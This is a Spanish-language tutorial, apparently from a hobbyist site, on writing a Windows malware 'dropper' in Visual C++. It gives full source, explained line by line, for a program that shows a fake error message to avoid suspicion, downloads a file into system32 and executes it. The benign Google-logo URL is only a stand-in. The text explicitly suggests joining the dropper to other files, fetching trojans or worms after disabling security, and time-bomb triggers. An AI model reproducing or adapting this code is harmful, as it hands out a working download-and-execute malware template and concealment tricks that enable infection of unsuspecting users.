Checkmate |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Las Apis de Windows, problema para muchos que nunca la
quieren utilizar (Programadores de VB, Autoit, etc...) son funciones ya
pre-programadas de fabrica en el Sistema Operativo que permiten
realizar tareas de una manera rapida y efectiva sin tener que reescribir
muchas veces un codigo que al fin y al cabo se tendra que volver a utilizar,
se encuentran en librerias de extension .dll y pueden ser usadas desde
cualquier lenguaje de programacion que las soporte.
Por otra parte existen referencias para el uso de estas
funciones como es la Win32 (Microsoft Win32 Programmer Reference) o
las distintas MSDN creadas por microsoft para documentarlas, estas
cuentan con una version descargable y otra version online para la
comodidad de las personas que tienen un acceso mas globalizado a la
Internet.
En lo que concierne al Downloader necesitaremos una API
fundamental para que este realice su funcion, esta API es
URLDownloadToFile. Mas abajo la declaracion de la API. Se recomienda al
usuario que vaya a seguir este manual para evitar tener que extender con
paginas innecesarias dicho documento que se descargue la Win32 API
Reference o que tenga acceso a la MSDN para mayor informacion sobre la
API.
HRESULT URLDownloadToFile(
LPUNKNOWN pCaller,
LPCTSTR szURL,
LPCTSTR szFileName,
DWORD dwReserved,
LPBINDSTATUSCALLBACK lpfnCB
);
2.1 Que es un Dropper
Bueno empecemos con la pequeña introduccion de que es un
dropper para despues rapidamente seguir con lo que es el codigo y
comentarlo.
Un downloader o dropper orientandonos en el area de malware
es una aplicación que se encarga de descargar y ejecutar desde internet
otras aplicaciones sin el conocimiento del usuario, en la mayoria de los
casos se descarga otro malware para que realice la infeccion. Muchos se
preguntaran, porque tengo que hacer un dropper?, porque no realizar la
infeccion directamente y listo?. En muchos casos es mas facil tomar un
Dropper optimizado (peso aproximado 700 bytes) y añadirlo mediante un
joiner a otro fichero que tomar otro tipo de malware (worm, troyano,
ramsonware, etc.) que puede pesar mucho mas que este y seria mas facil
de notar el cambio en el tamaño (peso aproximado 16 kb).
Para mayor comodidad he decidido crear el dropper en Visual
C++ 6.0, puede ser compilado en la mayoria de los compiladores actuales
pero por la facilidad que este me da para linkar la librería desde el codigo
lo tome como referencia para crear dicho codigo.
#include
#include
#pragma comment(lib,"urlmon.lib")
#pragma comment(linker, "/ENTRY:main")
#pragma comment(linker, "/RELEASE")
char sys[MAX_PATH];
char myname[MAX_PATH];
char error[MAX_PATH];
int main()
{
GetModuleFileName(0,myname,sizeof(myname));
lstrcpy(error,myname);
strcat(error," is not a valid Win32 application.");
MessageBox(0,(const char*) error,(const char*)myname,MB_ICONERROR);
GetSystemDirectory(sys,sizeof(sys));
strcat(sys,"google.png");
URLDownloadToFile(0,"http://www.google.com.do/intl/en_com/images/logo_plain.png"
,sys,0,0);
Sleep(10000);
ShellExecute(0,"open",sys,0,0,SW_SHOWNORMAL);
return 0;
}Documentacion del Codigo:
#include
#include
Incluimos en el proyecto el encabezado necesario para utilizar las Apis
basicas de Windows (Windows.h) y para utilizar las APIs almacenadas en
la librería urlmon.dll (urlmon.h).
#pragma comment(lib,"urlmon.lib")
#pragma comment(linker, "/ENTRY:main")
#pragma comment(linker, "/RELEASE")
para enviar intrucciones al linker utilizamos #pragma comment y a
continuacion para que incluya la librería necesaria para utilizar urlmon
(lib,”urlmon.lib”) para declarar el punto de entrada del programa (linker,
"/ENTRY:main") o para que cree el ejecutable final (linker, "/RELEASE").
char sys[MAX_PATH];
char myname[MAX_PATH];
char error[MAX_PATH];
Declaramos las variables que vamos a utilizar, en este caso sys, para
almacenar la ruta del directorio del sistema (system32) y mas adelante en
el codigo para copiar el archivo descargado a dicho folder, myname, para
almanecar el nombre actual del ejecutable desde el cual nos estamos
ejecutando y por ultimo error, para agregar un mensaje de error para
evitar sospechas en el archivo.
int main()
Funcion principal del programa, según la opcion de entrada que le pasamos
al linker, al igual que todas las funciones esta debe de iniciar con una llave
({) y terminar con una llave (}), no es necesario que ofrezca un valor de
retorno.GetModuleFileName(0,myname,sizeof(myname));
Una API de windows que tiene como funcion devolver el nombre de
un modulo tomando como parametro el Handle de dicho modulo,
entiendase por modulo en este caso nuestro programa, en caso de que
quisieramos acceder al nombre del programa actual en el parametro en el
cual debe de ir el Handle.
DWORD WINAPI GetModuleFileName(
__in HMODULE hModule, //Handle del modulo del cual queremos obtener el
//nombre
__out LPTSTR lpFilename,//Una variable para obtener el nombre del modulo
__in DWORD nSize //Tamaño de la variable que obtendra el nombre del
//modulo
);
lstrcpy(error,myname);Una API de windows que tiene como funcion copiar en el primer
parametro, la cadena de caracteres del segundo parametro. Es deber del
programador verificar que el espacio reservado para primer parametro
sea suficiente para introducir la cadena de caracteres del segundo
parametro.
LPTSTR lstrcpy(
__out LPTSTR lpString1, //Variable donde sera almacenado la
//cadena de caracteres del segundo
//parametro
__in LPTSTR lpString2 //Variable desde la cual se tomara la
//cadena de caracteres que sera
//almacenada en el primer parametro.
);strcat(error," is not a valid Win32 application.");
Una API de windows que tiene como funcion agregar al final del
primer parametro, la cadena de caracteres del segundo parametro. Es
deber del programador verificar que el espacio reservado para primer
parametro sea suficiente para introducir la cadena de caracteres del
segundo parametro.
LPTSTR lstrcat(
__out LPTSTR lpString1, //Variable a la que sera agregada la cadena de
//caracteres del segundo parametro
__in LPTSTR lpString2 //Variable desde la cual se tomara la cadena de
//caracteres que sera almacenada en el primer
//parametro.
);MessageBox(0,(const char*) error, (constchar*)myname,
MB_ICONERROR);
Una API de windows que tiene como funcion mostra un messagebox
en pantalla, es utilizado para mostrar o solicitud intrucciones al usuario en
la pantalla. En resumen crea, muestra, y opera un messagebox. En este
caso mostrara un mensaje de error diciendo que el ejecutable no es una
aplicación Win32 valida.
Int MessageBox(
HWND hWnd, //Handle de la ventana dueña del MessageBox.
LPCTSTR lpText,//Puntero a una variable tipo Char que mantenga el
//texto a llevar en la ventana.
LPCTSTR lpCaption,//Puntero a una variable tipo Char que mantenga el
//texto a llevar en la ventana.
UINT uType //Especifica el tipo del MessageBox.
);GetSystemDirectory(sys,sizeof(sys));
Una API de windows que tiene como funcion obtener la
direcciones del directorio de la carpeta del sistema (system32), el
primer parametro es una variable tipo char que recibira la direccion
del directorio del sistema, el segundo parametro es el tamaño de la
variable que tomara la direccion del directorio del sistema
(system32).
UINT WINAPI GetSystemDirectory(
__out LPTSTR lpBuffer,//Variable recibira la direccion de la carpeta del sistema.
__in UINT uSize //Valor tipo Int que expresa el tamaño de la variable que
//recibira la direccion del directorio del sistema.
);
strcat(sys,"google.png");
Esta API fue explicada mas arriba asi que solo me queda decir que
aquí esta siendo utilizada para dar el nombre del archivo a crear con la
descarga.
URLDownloadToFile(0,"http://www.google.com.do/intl/en_com/images/
logo_plain.png",sys,0,0);Esta se podria decir que es la API mas importante para crear un
Dropper, se encuentra en la librería URLmon.dll y se encarga de
escargar una direccion URL hacia un archivo definido por el usuario, es
ste caso el logo de google.
HRESULT URLDownloadToFile(
LPUNKNOWN pCaller,//Puntero al control de interface IUNKNOWN
LPCTSTR szURL,//Puntero a la direccion de la URL
LPCTSTR szFileName,//Puntero del nombre del archivo a crear
DWORD dwReserved,//Reservado.
LPBINDSTATUSCALLBACK lpfnCB//puntero a los invocadores de la
//interface IBindStatusCallback
);Sleep(10000);
Esta API suspende el programa en ejecucion durante el tiempo
especificado en milisegundos al ser llamada.
VOID WINAPI Sleep(
__in DWORD dwMilliseconds // Tiempo en milisegundos.
);
ShellExecute(0,"open",sys,0,0,SW_SHOWNORMAL);
Esta API realiza la funcion del archivo especificado en el tercer
parametro. Se podria decir que esta es la segunda API mas
importante en la creacion de un Dropper, debido a que es necesaria
para ejecutar el archivo descargado.HINSTANCE ShellExecute(
HWND hwnd,//Handle del proceso dueño del archivo a abrir
LPCTSTR lpOperation,//Operacion a realizar
LPCTSTR lpFile,//Nombre del archivo que realizara la operacion
LPCTSTR lpParameters,//Parametros que seran pasado al archivo
LPCTSTR lpDirectory,//Nombre del folder que tiene el archivo, en caso
//de no especificarlo en el nombre
INT nShowCmd//Especifica como sera mostrado el archivo al ser
//ejecutado
);
return 0;
Devuelve valor 0 en la funcion main().2.3 Implementaciones para un Downloader.
1. Descargar un diccionario para ser utilizado por alguna aplicac
para realizar un posterior ataque de BruteForce de forma local
algun servidor remoto.
2. Descargar el server de un troyano o un worm para una infeccion
sistema despues de eliminar la seguridad que podria eliminar est
aplicaciones.
3. Descargar una imagen para colocarla como fondo de escritorio
para mostrarsela al usuario.
4. Descarga de documentos con mensajes para el usuario por parte
creador del Dropper.
Nota: Estas opciones pueden ser especificadas dentro de una bomba
de tiempo para que realice una o varias de las pasadas posibilidades
en una fecha preestablecida.Muchos se preguntaran porque hacer una introduccion de
creacion de algun tipo de malware utilizando un codigo ya detectado,
la respuesta es simple “Quien obtiene lo que quiere sin esfuerzo, no
le da verdadero valor a sus logros”.
Solo me desenvuelvo en un solo idioma y al iniciar en
espanol existian muy pocos lugares donde obtener las intrucciones
para hacer algo y por lo tanto tuve que aprender desde ideas
generales, algo que no muchos harian, por lo tanto no planeo con esto
mal acostumbrar a los programadores y futuros programadores que
lean dicha introduccion.
Las criticas son aceptadas siempre y cuando tengan un
sentido logico y una base para hacerlas, todo tipo de sugerencias son
aceptadas y para cualquier contacto tienen mi direccion de correo
electronico en cada pie de pagina. No duden en contactarme con
cualquier duda que tengan con respecto a este tutorial
|
|
|
|
|
|
|
Existen 17 visitantescheckmate |
|
|
|
| | |